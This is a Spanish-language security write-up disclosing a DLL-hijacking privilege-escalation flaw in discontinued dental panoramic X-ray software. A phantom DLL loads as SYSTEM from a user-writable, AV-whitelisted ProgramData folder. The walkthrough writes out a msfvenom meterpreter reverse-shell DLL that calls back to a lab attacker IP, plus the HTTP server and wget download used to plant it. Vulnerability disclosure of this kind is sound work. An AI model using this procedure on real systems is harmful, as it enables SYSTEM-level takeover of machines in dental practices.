
Vulnerabilidad sigilosa de escalada de privilegios en software de imagenología dental panorámica
Originalmente, esto iba a ser un artículo sobre DLL proxying en un software de máquinas de rayos X dentales, pero me topé con una DLL en mi investigación que me hizo revisarla de nuevo, y finalmente encontré una vulnerabilidad de escalada de privilegios que me valió un CVE. Al principio de mi carrera técnica, solía dar soporte técnico para un fabricante de máquinas de rayos X dentales antes de que cerrara. Recuerdo los errores que aparecían mientras trabajaba allí y siempre pensé que sería una buena idea intentar encontrar vulnerabilidades en ese software. Así que, dado que el software todavía se usa hoy en día, decidí ver si podía hacer algo interesante con él ahora que ya no estoy en el mundo del soporte de software. Recuerdo que hace tiempo, al principio de mis estudios en ciberseguridad, había algunas DLLs secuestrables jugosas en ese software; decidí intentar el DLL proxying para ver si podía ejecutar una DLL maliciosa manteniendo ese software funcional (realmente sigiloso). Este es el proceso que seguí y cómo descubrí accidentalmente una vulnerabilidad de escalada de privilegios que puede (teóricamente) sobrevivir a un formateo limpio y reinstalación del sistema operativo. Espero que esta información sea útil para los Blue Teamers.
Una cosa a tener en cuenta es que este software ya no recibe actualizaciones, pero sé que las máquinas de rayos X todavía se usan en los EE. UU. hoy en día, por lo que todavía hay un riesgo potencial con esta vulnerabilidad. Se puede descargar aquí junto con el manual del software aquí. Otra cosa a tener en cuenta es que SI este software está en uso, hay un 99% de probabilidades de que los procesos que se ejecutan y las siguientes ubicaciones estén en la lista blanca de cualquier ERD/AV que se esté utilizando; esto también se menciona en la página 24 del manual del software. En este artículo voy a hacer lo mismo y añadir estas exclusiones para igualar la forma en que este software se instalaría en todos los consultorios dentales.

Después de instalar el software y añadir las exclusiones, abrimos Process Monitor y empezamos a buscar. Añade los siguientes filtros y reinicia el "CCS Service" en Servicios:
Una vez que se complete, notarás que hay un montón de DLLs secuestrables en este software. Verás numerosos resultados "NAME NOT FOUND" con un "SUCCESS" para la misma DLL, solo que en una ubicación diferente inmediatamente después. Estaba revisando un día en busca de una decente para probar el proxying, y casi al final algo me llamó la atención...

¿Podría ser...? LO ES. Esta es una DLL fantasma que se invoca con integridad SYSTEM desde una ubicación escribible por el usuario. Básicamente, es una DLL que no sería buena para el proxying ya que no hay una DLL real en algún lugar de la máquina, por lo que Windows intentará invocarla desde un conjunto predefinido de carpetas en un orden específico.
Y en nuestro escenario, la quinta ubicación es C:\ProgramData\Ajat\panoramic\datastor\lnrdlib.dll, y en esta ubicación todos los Usuarios tienen permisos de lectura, escritura y ejecución. Para colmo, esta ubicación es una subcarpeta de C:\ProgramData\Ajat\, que debería estar en la lista blanca en todos los entornos donde se use.

Esta es la configuración de red para esta prueba:
Comencemos creando una DLL simple de meterpreter vanilla, ya que realmente no necesitamos preocuparnos por el AV, y luego levantemos un servidor http para transferirla.
## msfvenom to make dll
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.1.137 LPORT=443 -f dll > lnrdlib.dll
## python http server
python3 -m http.server 80
De vuelta en Windows, cambiemos a nuestra cuenta de usuario estándar, abramos PowerShell y naveguemos hasta esa carpeta datastor y ejecutemos lo siguiente:
wget http://10.0.1.137/lnrdlib.dll -outfile lnrdlib.dll

Si todo se hizo correctamente, todo lo que necesitamos para activar el exploit es reiniciar el equipo (ya que es algo que un usuario normal puede hacer; reiniciar el CCS Service también lo activará).

¡¡¡ÉXITO!!!
Ahora bien, una de las cosas clave de la ubicación datastor es que es una de las dos ubicaciones que deberían tener respaldo en caso de que el equipo necesite ser formateado o reemplazado por cualquier motivo y el software sea reinstalado. Si se pierde el contenido de la carpeta calib, un técnico tendrá que acudir para recalibrar la máquina de rayos X y recuperarlo. Si se pierden los archivos de datastor, entonces se pierden las imágenes de rayos X más recientes que aún no se habían guardado, por lo que esta ubicación es algo opcional de respaldar. Esta ubicación es donde residirá el malware, por lo que es teóricamente posible que alguien reinfecte accidentalmente una computadora con el malware si restaura el contenido de un datastor respaldado, que contuviera el malware y todas esas imágenes de rayos X recientes tomadas, en el nuevo equipo. Esto se menciona en la página dos del manual del software.
